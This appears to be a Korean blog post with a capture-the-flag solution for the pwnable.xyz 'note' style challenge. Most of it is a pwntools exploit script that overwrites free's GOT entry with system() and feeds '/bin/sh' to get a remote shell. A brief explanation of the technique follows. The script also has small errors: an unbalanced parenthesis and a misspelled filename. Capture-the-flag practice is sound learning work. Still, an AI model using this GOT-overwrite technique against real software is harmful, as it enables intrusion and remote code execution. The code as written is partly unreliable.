from pwn import *
context.log_level = 'debug'
r = remote("svc.pwnable.xyz", 30016)
p = process("./challenge")
elf = ELF("./challange")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
system = elf.symbols['system']
free = 0x601210
r.sendafter("> ", '1')
r.sendafter("Note len? ", "100")
pay = 'A'*0x20 + p64(free)
r.sendafter("note: ", pay)
binsh_s = "/bin/sh"
r.sendafter("> ", '2')
r.sendafter("desc: ", p64(system))
r.sendafter("> ", '1')
r.sendafter("Note len? ", str(len(binsh_s))
r.sendafter("note: ", binsh_s)
r.interactive()
free(buf)를 system(“/bin/sh”)가 하고 싶은거니까 1에서 free 주소를 주고, 2에서 edit하면서 free got를 system 함수 주소로 덮는다. 그리고 다시 1로 buf에 입력받을 때 “/bin/sh” 문자열을 줘서 free(buf) 시에 실질적으로 system(“/bin/sh”) 가 실행되도록 한다.
[Pwnable.xyz] executioner v2 (0) | 2020.04.20 |
---|---|
[Pwnable.xyz] rwsr (0) | 2020.03.25 |
[Pwnable.xyz] iape (0) | 2020.03.25 |
[pwnable.xyz] catalog (0) | 2020.03.09 |
[pwnable.xyz] message (0) | 2020.02.28 |